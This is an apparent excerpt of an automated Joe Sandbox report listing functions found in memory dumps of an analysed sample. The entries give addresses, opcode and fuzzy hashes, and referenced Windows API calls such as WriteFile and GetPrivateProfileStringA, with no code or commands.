Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: ce9ce877747e983888a92abda4daa41df98c834d93dcb8a33cbf4ee099e09233
Instruction ID: ae370ad08834cd498bd59c072aed4c56cc31760d36671fe5d1808ac13fba576f
Opcode Fuzzy Hash: ce9ce877747e983888a92abda4daa41df98c834d93dcb8a33cbf4ee099e09233
Instruction Fuzzy Hash: 77318FEB17C154BCB452C1466F5CAFA5A2FEAD77707B08026F80BD9A02A2C90E5B1031

Uniqueness

Uniqueness Score: -1.00%

Function 0529061B Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

BaseDllReadWriteIniFile.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000001F), ref: 052906C3

Memory Dump Source

Source File: 00000009.00000002.3080319397.0000000005290000.00000040.00001000.00020000.00000000.sdmp, Offset: 05290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5290000_d361f35322.jbxd

Similarity

API ID: BaseFileReadWrite
String ID:
API String ID: 234091865-0
Opcode ID: cf3d63b98ad4acda45eee9513d4ee5fe30fd9e686947dec9774860dd7f19c785
Instruction ID: bce4a053711bd6bf75ce0154b878ec615ac7852493457ae1e0483c51938322c0
Opcode Fuzzy Hash: cf3d63b98ad4acda45eee9513d4ee5fe30fd9e686947dec9774860dd7f19c785
Instruction Fuzzy Hash: 1B416EEB27C159BC7A5AD1962B5CAFB57AFE9D6730330843AF803D5702E3C80A4A5171

Uniqueness

Uniqueness Score: -1.00%

Function 00829779 Relevance: 1.7, APIs: 1, Instructions: 198fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,?,008C41EC,?,0081CFD7,008C41EC,?,00956E10,00000010,0081D0B7), ref: 008298FE

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: a40407253ba9ca24991ae437fb21a30f5e9908f2c0cc8a69b64771dab3c51715
Instruction ID: 3a842b40285c9fdb7851f4f8d5e23c82c52fa460d9219e977005785a67000fff
Opcode Fuzzy Hash: a40407253ba9ca24991ae437fb21a30f5e9908f2c0cc8a69b64771dab3c51715
Instruction Fuzzy Hash: AF61B371D14129AFDF119FA8E844AEEBFB9FF09318F180159E984E7252D331D981CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0529069D Relevance: 1.7, APIs: 1, Instructions: 197fileCOMMON

Download Yara Rule

APIs

BaseDllReadWriteIniFile.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000001F), ref: 052906C3

Memory Dump Source

Source File: 00000009.00000002.3080319397.0000000005290000.00000040.00001000.00020000.00000000.sdmp, Offset: 05290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5290000_d361f35322.jbxd

Similarity

API ID: BaseFileReadWrite
String ID:
API String ID: 234091865-0
Opcode ID: a7c8eb7cfd181fffb6b967940fd2dac2265280585c5a44fca0dffbcbf17d41f3
Instruction ID: d85bb90180c85fb2bd5f4be8335aa3194bbaed5b7462f824caf64ac28d623725
Opcode Fuzzy Hash: a7c8eb7cfd181fffb6b967940fd2dac2265280585c5a44fca0dffbcbf17d41f3
Instruction Fuzzy Hash: 1341A5EB27C159BCBA4AD1562B5CAF65BAFEDC6630330843BF443D5702E2D40A4E5171

Uniqueness

Uniqueness Score: -1.00%

Function 0529062E Relevance: 1.7, APIs: 1, Instructions: 196fileCOMMON

Download Yara Rule

APIs

BaseDllReadWriteIniFile.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000001F), ref: 052906C3

Memory Dump Source

Source File: 00000009.00000002.3080319397.0000000005290000.00000040.00001000.00020000.00000000.sdmp, Offset: 05290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5290000_d361f35322.jbxd

Similarity

API ID: BaseFileReadWrite
String ID:
API String ID: 234091865-0
Opcode ID: 9029671cd682482e93712d20af90e8783b3cc3d0f4bea7b4c8869a242293119e
Instruction ID: af3c9d321608d3a27d30832df039fbbf1146451e3d01a0e5046c01673aa0658f
Opcode Fuzzy Hash: 9029671cd682482e93712d20af90e8783b3cc3d0f4bea7b4c8869a242293119e
Instruction Fuzzy Hash: 4F319EEB27C119BCBA4AD2962B5CAFB576FE9D6730330843AF403D5702E3D40A4A5171

Uniqueness

Uniqueness Score: -1.00%

Function 052E0050 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: a2cf5de51af28a65d2e43b709e5b5ae0da7400c9bac2ec60f47de44c3f61d1db
Instruction ID: bf365c1458081cca9515578eafe25a1feb2a6bbf231b6d53f422dcf9a90dede0
Opcode Fuzzy Hash: a2cf5de51af28a65d2e43b709e5b5ae0da7400c9bac2ec60f47de44c3f61d1db
Instruction Fuzzy Hash: 54319CEB17C114BDB152C1866F5CAFA5B2FEAD37307B08426F80BD9A02A2D91F5B1031

Uniqueness

Uniqueness Score: -1.00%

Function 052E00BB Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aecd0ec3e80c863b8f929dfe5ccea693d10621939d199fcdfa7604c6e6b0cdac
Instruction ID: 2355c3d52423f7474bf61de58cb1738c2132f348618458f5bbf683324b498098
Opcode Fuzzy Hash: aecd0ec3e80c863b8f929dfe5ccea693d10621939d199fcdfa7604c6e6b0cdac
Instruction Fuzzy Hash: 7E317AEB17C164BC7552C1866F5CAFA5B2FEAD77303B08426F80B99A02A2C91F5F1031

Uniqueness

Uniqueness Score: -1.00%

Function 052E0089 Relevance: 1.7, APIs: 1, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49908290d6ecb313ebb7d6001c8cdd0af0c10ab3b3f9fa862aef4d5bc3a14508
Instruction ID: 97afa69999f69e88be8aba9480eeaaa9a138f99e3c142624775e9d275cdbc5f4
Opcode Fuzzy Hash: 49908290d6ecb313ebb7d6001c8cdd0af0c10ab3b3f9fa862aef4d5bc3a14508
Instruction Fuzzy Hash: 11319EEB17C110BCB552C1466F5CAFA6B6FE9D77703B08426F80799A42A2C91B5F1031

Uniqueness

Uniqueness Score: -1.00%

Function 052E0076 Relevance: 1.7, APIs: 1, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83e226a5e6a128941e869043b18c3520b37310fde2ded2629b56d3663079d7b7
Instruction ID: 50c348a53bdb5801b510f34450aa04f7f24db306132d8c747790be94edf67e75
Opcode Fuzzy Hash: 83e226a5e6a128941e869043b18c3520b37310fde2ded2629b56d3663079d7b7
Instruction Fuzzy Hash: 04318CEB17D124BDB152C1566F5CAFA5B6FEAD77703B08026F80BD9A02A2C91B5F1031

Uniqueness

Uniqueness Score: -1.00%

Function 05290672 Relevance: 1.7, APIs: 1, Instructions: 184fileCOMMON

Download Yara Rule

APIs

BaseDllReadWriteIniFile.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000001F), ref: 052906C3

Memory Dump Source

Source File: 00000009.00000002.3080319397.0000000005290000.00000040.00001000.00020000.00000000.sdmp, Offset: 05290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5290000_d361f35322.jbxd

Similarity

API ID: BaseFileReadWrite
String ID:
API String ID: 234091865-0
Opcode ID: 40c6310a8acae705e6ad00f776e8c8296c77b40c163fc05d3953e726df1fcb9c
Instruction ID: 5b0b0604664f0e7af4ffc52fe401916d3f69e662fe756f87ff019de2fe49dc46
Opcode Fuzzy Hash: 40c6310a8acae705e6ad00f776e8c8296c77b40c163fc05d3953e726df1fcb9c
Instruction Fuzzy Hash: E93163EB26C119BDB94AD1962B5CAFB5B6FE9D6630330843AF403D5702E2D40A4E5171

Uniqueness

Uniqueness Score: -1.00%

Function 007F5350 Relevance: 1.7, APIs: 1, Instructions: 184COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 007F546E

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: cdc2c0a572b2a3d5c283e12c2c0420b7f7fe77c4e8a6a94979b7a50b95d6b38c
Instruction ID: 2c9267f574f0d6d17158373a2e1cf5643d42fdcd1f6a1d0378cfb6f741c02400
Opcode Fuzzy Hash: cdc2c0a572b2a3d5c283e12c2c0420b7f7fe77c4e8a6a94979b7a50b95d6b38c
Instruction Fuzzy Hash: F3618AB1A01618DFCB10CF5DC984B6ABBF5FF48710F24816AE6199B391C779DA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 052E0069 Relevance: 1.7, APIs: 1, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ecce422df43bcabaa1b0ff84e7a908faf724d6efc92b6d817a54f596b62e365
Instruction ID: 366c71a4a6d3742286384ed4047a2c411b34cef466d664d957a7acb2107bd46b
Opcode Fuzzy Hash: 0ecce422df43bcabaa1b0ff84e7a908faf724d6efc92b6d817a54f596b62e365
Instruction Fuzzy Hash: B5319AEB17D024BC7052C1866F5CAFA5A6FE9D37303B08026F80BD9A02A2C90F5F1031

Uniqueness

Uniqueness Score: -1.00%

Function 052E00E1 Relevance: 1.7, APIs: 1, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b056d16aa5ec1519476c748f91ec5d779d30278b434a57d089014f3507edd1a
Instruction ID: 6c6fdae344fe8b2c5e21421f5ad9d78f4026d43c0029c59df9150d00d6301ca7
Opcode Fuzzy Hash: 8b056d16aa5ec1519476c748f91ec5d779d30278b434a57d089014f3507edd1a
Instruction Fuzzy Hash: 113138EB17D121BC7152C0966F5CAFA5A6FE9D77703B0842AF80BD9A02A2C91E5F1035

Uniqueness

Uniqueness Score: -1.00%

Function 052E00EE Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: c7e59620117e13965e96fd3ee8812293b8ddd7c6e64e58103c5e43c553d8bd08
Instruction ID: e6e1cf0ccd952d1b0793eb4ba7369472e37945894c8b5311c46ed23d4203cfbb
Opcode Fuzzy Hash: c7e59620117e13965e96fd3ee8812293b8ddd7c6e64e58103c5e43c553d8bd08
Instruction Fuzzy Hash: B33129EB17D024BC7152C1962F5CAFA9B6FE9D77703B08426F807D9A02A2C91B5F1035

Uniqueness

Uniqueness Score: -1.00%

Function 052E0131 Relevance: 1.7, APIs: 1, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7b17cdcebb12653f46d2e059dad21c5e3f302c69c24b2763b103c090e6fdfb9
Instruction ID: cf1187e79d8838d2bb9d7afe682a8b8e24b57f5d01030243566b89ea47c306f3
Opcode Fuzzy Hash: a7b17cdcebb12653f46d2e059dad21c5e3f302c69c24b2763b103c090e6fdfb9
Instruction Fuzzy Hash: 2D215CEB17C120BDB152C1862F5CAFA576FE9D37307B0842AF806D9502A2C91A4F1031

Uniqueness

Uniqueness Score: -1.00%

Function 052E010B Relevance: 1.7, APIs: 1, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 08f1f3807282621eb053c9f82b79389e212b6a122f5e2dc246242ffb0abe0264
Instruction ID: 0df9fe87b20a1990d002379268732ec1dfbcd367ce86cf12535490ed69f7fe49
Opcode Fuzzy Hash: 08f1f3807282621eb053c9f82b79389e212b6a122f5e2dc246242ffb0abe0264
Instruction Fuzzy Hash: 262129EB17D124BCB152C1862F5DAFA576FE9D77703B08426F806D9A02A2C91A5F1035

Uniqueness

Uniqueness Score: -1.00%

Function 00818DF2 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e97f9d6e88d8ee0addfcb3150460fbfd5c940120dec87e32875e66e0425c5d15
Instruction ID: e1e826743fd979d7033fa2169f0b356c1da1c28a059fe52fca752fa25b63ab53
Opcode Fuzzy Hash: e97f9d6e88d8ee0addfcb3150460fbfd5c940120dec87e32875e66e0425c5d15
Instruction Fuzzy Hash: 8F51B470A00208EFDB14DF58C886EE97BA6FF49314F298159F849DB252DB71DD82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 052E011C Relevance: 1.7, APIs: 1, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: b7684d34146df76ce4e14c79128a8e82766ea488379481176b89cda9c398abe5
Instruction ID: 038c6328b8da1d9ddd8161c287c11a30fb6a059bed01af369adbea520bf25f6d
Opcode Fuzzy Hash: b7684d34146df76ce4e14c79128a8e82766ea488379481176b89cda9c398abe5
Instruction Fuzzy Hash: 13212AEB17D020BCB152C1862F58AFA576FE9D67707B0842BF807D9602A2C91A5F1035

Uniqueness

Uniqueness Score: -1.00%

Function 052E015E Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 72f0a6d15585108553f80e96d6a64dbd1cbdb29558143d85f37a611fee4e09c4
Instruction ID: f7dcca39926134f8dcbcc18f3fbe980b1ef675d9d76752db0d506be20022626c
Opcode Fuzzy Hash: 72f0a6d15585108553f80e96d6a64dbd1cbdb29558143d85f37a611fee4e09c4
Instruction Fuzzy Hash: C9215AEB27C120BCB156C1866F5CAFA5B6FE9D67303B0842BF807D9902A2C91B5F1035

Uniqueness

Uniqueness Score: -1.00%

Function 052E01DE Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 1e26f1373ff275f9af7a3e377b81436b2c2db37983059b15851dc018cc4bd3b0
Instruction ID: c7dc80069a5c541eee0b7b7b78b843dd0706c5143e81bc7ed9d45d8116380453
Opcode Fuzzy Hash: 1e26f1373ff275f9af7a3e377b81436b2c2db37983059b15851dc018cc4bd3b0
Instruction Fuzzy Hash: 6B21ADEB17C1207C7112C1962B5CAFA9B6FE9E77303B0842BF806DA602A2C91E4F1031

Uniqueness

Uniqueness Score: -1.00%

Function 052E017F Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 4b3f7aa696c874048a425ff21f1f71197888702fdcd1a422b5897c7d1b836c43
Instruction ID: 8061f72d3cdcfffb4b6920e5994388dcdca79466edd77c1ae23feecbc172008b
Opcode Fuzzy Hash: 4b3f7aa696c874048a425ff21f1f71197888702fdcd1a422b5897c7d1b836c43
Instruction Fuzzy Hash: FA219AEB17D1147CB112C1962B59AFA9B6FE9D77703B08427F806E9A42A2C91E4F1032

Uniqueness

Uniqueness Score: -1.00%

Function 052E0151 Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 7869d59c4dfe39bacf5986dd3206cf22de86f2aace3e6a016366676b09c2bd52
Instruction ID: 9dfcb10023fb125a35fbcca7c0264cb38e7059424d50c1e3cf2ba06782855a7f
Opcode Fuzzy Hash: 7869d59c4dfe39bacf5986dd3206cf22de86f2aace3e6a016366676b09c2bd52
Instruction Fuzzy Hash: 212128EB17C124BC7056C1862F5CAFA576FE9D27707B0842BF807D9902A2C91B5F1035

Uniqueness

Uniqueness Score: -1.00%

Function 052E021A Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 23745937bd939c8d92ba0fc2f0603eb10cdeec28903df5fbdbc1d1aba16c7881
Instruction ID: f66cc2bf4baca55d5274f06196d6fc094f9d6e5988329a84cfd92fc34f408522
Opcode Fuzzy Hash: 23745937bd939c8d92ba0fc2f0603eb10cdeec28903df5fbdbc1d1aba16c7881
Instruction Fuzzy Hash: 6C2123D717D1607DB112C0922EACAFA5B5FE9E37703B0846BF446D9946E2C91E4F5031

Uniqueness

Uniqueness Score: -1.00%

Function 052E01B9 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 4a6a91c1a7285ff77a7f839ab298dc452bb789e6444f6f950fbd462d45b5b716
Instruction ID: 254eea22506cdcb6ff0ca1b413f1ee8179fe247978c2a57112200d864e9b8fb9
Opcode Fuzzy Hash: 4a6a91c1a7285ff77a7f839ab298dc452bb789e6444f6f950fbd462d45b5b716
Instruction Fuzzy Hash: A91149EB17C024BCB052C1923B5CAFA5B6FE8D67703B08427F807D8902A2C91B4F1032

Uniqueness

Uniqueness Score: -1.00%

Function 052E01FB Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: d25e9480e0c4e0a5dc77df71e471ceb2062214d6f1310a2b9fd7590219c3da33
Instruction ID: 8818d702ffa669b0f4b3ecce244ea2881f5c80d655e7e44148c889f351b5d8e9
Opcode Fuzzy Hash: d25e9480e0c4e0a5dc77df71e471ceb2062214d6f1310a2b9fd7590219c3da33
Instruction Fuzzy Hash: D71118EB17D124BCB012C0927F5CAFBA7AFE9D6B703B08426F407D4902A2C91A4F5035

Uniqueness

Uniqueness Score: -1.00%

Function 052E01D5 Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

Source File: 00000009.00000002.3080692211.00000000052E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_52e0000_d361f35322.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: fefe65fadcd821caf7e416f169b70ecbaa0795bcb9c6d21bb959e8b31ea715bc
Instruction ID: 4f2b7d39413a7c3181de2f4a179a1321994dc08850eb72710fef7cdebb30af24
Opcode Fuzzy Hash: fefe65fadcd821caf7e416f169b70ecbaa0795bcb9c6d21bb959e8b31ea715bc
Instruction Fuzzy Hash: 3301E5EB17D124BC7042C1823B5CAFA566FE8D67702B08427F807D4906A2C91F5E1035

Uniqueness

Uniqueness Score: -1.00%

Function 052E0245 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 052E02DC

Memory Dump Source

